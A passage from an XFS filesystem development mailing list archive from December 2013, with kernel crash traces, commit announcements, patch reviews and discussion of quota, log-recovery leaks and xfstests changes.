xfs_vn_mkdir+0x16/0x20 [xfs] [ 50.869655] [] vfs_mkdir+0x95/0x130 [ 50.869689] [] SyS_mkdirat+0xaa/0xe0 [ 50.869723] [] SyS_mkdir+0x19/0x20 [ 50.869757] [] system_call_fastpath+0x1a/0x1f [ 50.869793] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 [ 50.870003] RIP [] assfail+0x22/0x30 [xfs] [ 50.870050] RSP [ 50.879251] ---[ end trace c93a2b342341c65b ]--- We're hitting the ASSERT(XFS_IS_*QUOTA_ON(mp)) in xfs_qm_vop_create_dqattach(), however the assertion itself is not right IMHO. While performing quota off, we firstly clear the XFS_*QUOTA_ACTIVE bit(s) from struct xfs_mount without taking any special locks, see xfs_qm_scall_quotaoff(). Hence there is no guarantee that the desired quota is still active. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers (cherry picked from commit 37eb9706ebf5b99d14c6086cdeef2c2f73f9c9fb) commit 3a8c92086d1c05ae1cf6a52ffd8dde2851e6b1d3 Author: Mark Tinguely Date: Sat Oct 5 21:48:25 2013 -0500 xfs: fix memory leak in xfs_dir2_node_removename Fix the leak of kernel memory in xfs_dir2_node_removename() when xfs_dir2_leafn_remove() returns an error code. Signed-off-by: Mark Tinguely Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit ef701600fd26cace9d513ee174688a2b83832126) ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Dec 17 10:02:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 790F47F3F for ; Tue, 17 Dec 2013 10:02:33 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 562A28F8059; Tue, 17 Dec 2013 08:02:30 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id F19354266DC; Tue, 17 Dec 2013 10:02:29 -0600 (CST) Date: Tue, 17 Dec 2013 10:02:29 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/6] xfs: fixes for 3.13-rc4 Message-ID: <20131217160229.GT1935@sgi.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 12, 2013 at 04:34:32PM +1100, Dave Chinner wrote: > Theses are all the kernel fixes I've accumulated over the past > few weeks. There are a couple of IO error handling fixes, log grant > head accounting fixes to avod spurious warnings, a swalloc alignment > fix, and a patch to fix all the leaks in > xlog_recover_process_data(). Applied Christoph's version of patch 1, as well as 4, and 6. Cherry-picked some stuff that I feel is appropriate for -rc5 and pushed into xfs-for-linus-v3.13-rc5. I'm not certain about the the two 'spurious messages' patches just yet. -Ben From cmaiolino@redhat.com Tue Dec 17 10:22:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 230257F3F for ; Tue, 17 Dec 2013 10:22:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1346D304059 for ; Tue, 17 Dec 2013 08:22:46 -0800 (PST) X-ASG-Debug-ID: 1387297365-04cbb041687d6d20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fJIy1J3EYC1nolcr for ; Tue, 17 Dec 2013 08:22:45 -0800 (PST) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBHGMinD029340 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Dec 2013 11:22:44 -0500 Received: from orion.maiolino.org (ovpn-113-114.phx2.redhat.com [10.3.113.114]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBHGMbVo019494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 11:22:43 -0500 Date: Tue, 17 Dec 2013 14:22:36 -0200 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] common: Filter out lost+found directory from _ls_l() output Message-ID: <20131217162234.GA28325@orion.maiolino.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] common: Filter out lost+found directory from _ls_l() output Mail-Followup-To: xfs@oss.sgi.com References: <1387288947-12650-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387288947-12650-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1387297365 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi Lukas, I guess this patchset lacks a cover letter you might have forgotten to add? despite the first patch which is easier to understand the reason due the comment you added to the own patch, the purpose of the remaining patches are not clear. On Tue, Dec 17, 2013 at 03:02:25PM +0100, Lukas Czerner wrote: > Signed-off-by: Lukas Czerner > --- > common/rc | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/common/rc b/common/rc > index 5f61d57..7a168e9 100644 > --- a/common/rc > +++ b/common/rc > @@ -74,10 +74,11 @@ _md5_checksum() > > # ls -l w/ selinux sometimes puts a dot at the end: > # -rwxrw-r--. id1 id2 file1 > +# Also filter out lost+found directory on extN file system if present > > _ls_l() > { > - ls -l $* | sed "s/\(^[-rwxdlbcpsStT]*\)\. /\1 /" > + ls -l $* | sed "s/\(^[-rwxdlbcpsStT]*\)\. /\1 /" | grep -v 'lost+found' > } > > _mount_opts() > -- > 1.8.3.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From rjohnston@sgi.com Tue Dec 17 10:40:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F0847F3F for ; Tue, 17 Dec 2013 10:40:00 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id E55A3AC001; Tue, 17 Dec 2013 08:39:56 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 10:39:56 -0600 Message-ID: <52B07E5B.4090302@sgi.com> Date: Tue, 17 Dec 2013 10:39:55 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Whitney , "xfs@oss.sgi.com" CC: "linux-ext4@vger.kernel.org" Subject: Re: [PATCH] xfstests: set umask to avoid spurious generic/314 test failures References: <20130921211735.GC7855@wallace> In-Reply-To: <20130921211735.GC7855@wallace> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] This patch has been committed. Thanks --Rich commit d0b5b6f9a8ccdb1279f319866e4540e8a05ac7c4 Author: Eric Whitney Date: Sat Sep 21 21:17:35 2013 +0000 xfstests: set umask to avoid spurious generic/314 test failures From rjohnston@sgi.com Tue Dec 17 10:40:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A137A29E05 for ; Tue, 17 Dec 2013 10:40:06 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1769AC001; Tue, 17 Dec 2013 08:40:05 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 10:40:05 -0600 Message-ID: <52B07E64.9090200@sgi.com> Date: Tue, 17 Dec 2013 10:40:04 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Junho Ryu , CC: , , Subject: Re: [PATCH 01/10] xfstests: Add tmpfs support References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-2-git-send-email-jayr@google.com> In-Reply-To: <1386706321-15795-2-git-send-email-jayr@google.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] This patch stands alone and has been committed. Thanks --Rich commit bc95a5351f824e8cf18d13667b9c2e439045259f Author: Boris Ranto Date: Tue Dec 10 20:11:52 2013 +0000 xfstests: Add tmpfs support From rjohnston@sgi.com Tue Dec 17 10:55:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A256D7F3F for ; Tue, 17 Dec 2013 10:55:59 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66D7B8F8084; Tue, 17 Dec 2013 08:55:59 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 10:55:59 -0600 Message-ID: <52B0821E.9010008@sgi.com> Date: Tue, 17 Dec 2013 10:55:58 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs_metadump: Make -F (force) optional References: <52A9F6CF.1070300@redhat.com> <20131212183115.GA16378@infradead.org> <52AA160C.7070109@sandeen.net> In-Reply-To: <52AA160C.7070109@sandeen.net> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] This has been committed. Thanks --Rich commit 4e83ac7b7416edb52815c6e5f4ca64dadfa5f974 Author: Eric Sandeen Date: Thu Dec 12 17:47:59 2013 +0000 xfs_metadump: Make -F (force) optional From rjohnston@sgi.com Tue Dec 17 11:05:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E9F27F3F for ; Tue, 17 Dec 2013 11:05:17 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD028AC001; Tue, 17 Dec 2013 09:05:12 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 11:05:12 -0600 Message-ID: <52B08446.3080102@sgi.com> Date: Tue, 17 Dec 2013 11:05:10 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Namjae Jeon , , , , , , CC: Namjae Jeon , , , Ashish Sangwan , , Subject: Re: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1386511890-3794-1-git-send-email-linkinjeon@gmail.com> In-Reply-To: <1386511890-3794-1-git-send-email-linkinjeon@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] This patch stands alone and has been committed. Thanks --Rich commit ca692f162d36c871c9c1b6169136b2c70503f2d8 Author: Namjae Jeon Date: Sun Dec 8 14:11:30 2013 +0000 xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From bpm@sgi.com Tue Dec 17 11:29:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9625F7F3F for ; Tue, 17 Dec 2013 11:29:50 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 38950304043; Tue, 17 Dec 2013 09:29:47 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 0DACE4266DC; Tue, 17 Dec 2013 11:29:47 -0600 (CST) Date: Tue, 17 Dec 2013 11:29:47 -0600 From: Ben Myers To: Stor?? <289471341@qq.com>, Jeff Liu Cc: xfs Subject: Re: =?utf-8?B?5Zue5aSN77yaIOOAkHhmc19tZXRh?= =?utf-8?Q?dump___xfs=5Fmdrestore__xfsdump__xfsrestore=E3=80=91?= Message-ID: <20131217172946.GU1935@sgi.com> References: <52AFFC69.7010007@oracle.com> <52B005A6.9050704@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B005A6.9050704@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey, On Tue, Dec 17, 2013 at 04:04:54PM +0800, Jeff Liu wrote: > On 12/17 2013 15:45 PM, Stor?? wrote: > > > > thank you. > > 1. XFS internal error XFS_WANT_CORRUPTED_GOTO at line 1676 of file > > fs/xfs/xfs_alloc.c. Caller 0xffffffffa023496d http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=blob;f=fs/xfs/xfs_alloc.c;h=1956f83489f1b8378f4459844e422547d421e0ec;hb=1f4c79cdb3fd856edde28af25576bcd8341eef78#l1676 We were trying to remove an entry in the by-size freespace btree and found that the entry to the right was not there as expected. > > Pid: 7579, comm: smbd Tainted: G 2.6.27.19-5-default #7 > > Call Trace: > > [] show_trace_log_lvl+0x41/0x58 > > [] dump_stack+0x69/0x6f > > [] xfs_free_ag_extent+0x45a/0x6bb [xfs] > > [] xfs_free_extent+0xa9/0xc9 [xfs] > > [] xfs_bmap_finish+0xee/0x15f [xfs] > > [] xfs_itruncate_finish+0x190/0x2ba [xfs] > > [] xfs_inactive+0x216/0x450 [xfs] > > [] xfs_fs_clear_inode+0xb0/0xf4 [xfs] > > [] clear_inode+0x75/0xcc > > [] generic_delete_inode+0xd6/0x14e > > [] do_unlinkat+0xda/0x14d > > [] system_call_fastpath+0x16/0x1b > > [<00007f6af6256b77>] 0x7f6af6256b77 > > xfs_force_shutdown(dm-1,0x8) called from line 4269 of file > > fs/xfs/xfs_bmap.c. Return address = 0xffffffffa023d47b > > Filesystem "dm-1": Corruption of in-memory data detected. Shutting down > > filesystem: dm-1 > > Please umount the filesystem, and rectify the problem(s) > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > Filesystem "dm-1": xfs_log_force: error 5 returned. > > > > Why is this so, > > In order to protect the data.Which command with the backup file system. > > xfs_dump or xfs_metadump. > xfsdump. This looks like an internal corruptions, maybe run xfs_repair > -n can give more hints. In addition to the xfs_repair -n output, a metadump might also be helpful. Regards, Ben From bpm@sgi.com Tue Dec 17 11:33:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C24D7F3F for ; Tue, 17 Dec 2013 11:33:35 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1A314AC002; Tue, 17 Dec 2013 09:33:35 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B135B4266DC; Tue, 17 Dec 2013 11:33:34 -0600 (CST) Date: Tue, 17 Dec 2013 11:33:34 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131217173334.GV1935@sgi.com> References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> <20131209222433.GY10988@dastard> <20131210161349.GD19510@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131210161349.GD19510@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Tue, Dec 10, 2013 at 08:13:49AM -0800, Christoph Hellwig wrote: > On Tue, Dec 10, 2013 at 09:24:33AM +1100, Dave Chinner wrote: > > I wouldn't have pointed at it if the original code had that > > problem... :/ > > Strange. I'd swear I haven't reworded anything. I'll fix it back up. I'd like to pull this series in. Are you still planning on reposting this patch? Thanks, Ben From tinguely@sgi.com Tue Dec 17 11:59:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 081BE7F3F for ; Tue, 17 Dec 2013 11:59:01 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 685EC8F8094; Tue, 17 Dec 2013 09:58:57 -0800 (PST) Message-ID: <52B090E1.2020805@sgi.com> Date: Tue, 17 Dec 2013 11:58:57 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Christoph Hellwig CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-6-git-send-email-david@fromorbit.com> <20131213123205.GA17935@infradead.org> <20131213221102.GX10988@dastard> <20131216152339.GC12360@infradead.org> In-Reply-To: <20131216152339.GC12360@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/16/13 09:23, Christoph Hellwig wrote: > On Sat, Dec 14, 2013 at 09:11:02AM +1100, Dave Chinner wrote: >> > I'll rework it, but hte main issue is that it has to be freed >> > regardless of the error value in commit record processing, so it's >> > not as simple as just freeing it on error.... > Indeed, but think that's another reason to move the freeing to > xlog_recover_process_data. Right now or with the proposed patch > xlog_recover_commit_trans frees trans, but there's nothing that > breaks out of the loop in xlog_recover_process_data after that case. > > By moving the freeing there for all cases we can add a corruption > check for that case, and we have a single function that controls > the lifetime of the xlog_recover structure. I like that idea of doing the frees in xlog_recover_process_data(). Each loop allocates a new trans, so each loop is self contained. --Mark. From david@fromorbit.com Tue Dec 17 15:02:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C5F27F3F for ; Tue, 17 Dec 2013 15:02:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 349BD8F8087 for ; Tue, 17 Dec 2013 13:01:57 -0800 (PST) X-ASG-Debug-ID: 1387314114-04cb6c537b7e9df0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id PDX0FWrSc0NvDwOi for ; Tue, 17 Dec 2013 13:01:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmQIAIS7sFJ5LHyk/2dsb2JhbABZgwqDPLBthVCBIBd0giUBAQEEOhwjEAgDDgYECSUPBSUDIROIA8luFxaOfAeDI4ETBJgVikyHSYFtgVIo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Dec 2013 07:31:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vt1lp-0007gD-Jx; Wed, 18 Dec 2013 08:01:37 +1100 Date: Wed, 18 Dec 2013 08:01:37 +1100 From: Dave Chinner To: Rich Johnston Cc: Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, Namjae Jeon , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Ashish Sangwan , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org Subject: Re: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20131217210137.GF31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1386511890-3794-1-git-send-email-linkinjeon@gmail.com> <52B08446.3080102@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B08446.3080102@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1387314115 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143179 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 17, 2013 at 11:05:10AM -0600, Rich Johnston wrote: > This patch stands alone and has been committed. > > Thanks > --Rich > > commit ca692f162d36c871c9c1b6169136b2c70503f2d8 > Author: Namjae Jeon > Date: Sun Dec 8 14:11:30 2013 +0000 > > xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Rich, we've been here before: 19e73c9 Revert "[RESEND, 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE" Please go back and read the discussion that lead to that revert. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 17 15:20:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 194BD7F3F for ; Tue, 17 Dec 2013 15:20:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A97FAAC002 for ; Tue, 17 Dec 2013 13:19:56 -0800 (PST) X-ASG-Debug-ID: 1387315194-04bdf00fe2c66f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id EcUWTFaQSC2zEfR7 for ; Tue, 17 Dec 2013 13:19:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmQIAOW+sFJ5LHyk/2dsb2JhbABZgwqDPLBthVCBIBd0giUBAQEEOhwjEAgDDgoJJQ8FJQMhE4gDyXEXFo58B4Q2BJgVikyHSYM/KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail05.adl6.internode.on.net with ESMTP; 18 Dec 2013 07:49:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vt23T-0007ia-Bm; Wed, 18 Dec 2013 08:19:51 +1100 Date: Wed, 18 Dec 2013 08:19:51 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, Stanislav Kholmanskikh Subject: Re: [PATCH 00/12] run more generic tests on TEST_DIR Message-ID: <20131217211951.GG31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/12] run more generic tests on TEST_DIR References: <20131211073445.353655850@bombadil.infradead.org> <20131211225012.GL10988@dastard> <20131212180312.GC19422@infradead.org> <20131213010934.GN10988@dastard> <20131213111039.GD14884@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213111039.GD14884@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1387315194 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Fri, Dec 13, 2013 at 03:10:39AM -0800, Christoph Hellwig wrote: > On Fri, Dec 13, 2013 at 12:09:34PM +1100, Dave Chinner wrote: > > > You can have different test devices, or simply not bother with aging > > > it for every run. You're missing the coverage of all the test dir > > > using tests, which are a lot with the above version anyway. > > > > IOWs, you're saying that you don't consider MKFS_OPTIONS as a first > > class citizen. I've been using it for 7 or 8 years for exactly this > > purpose - iterating testing of a change quickly across 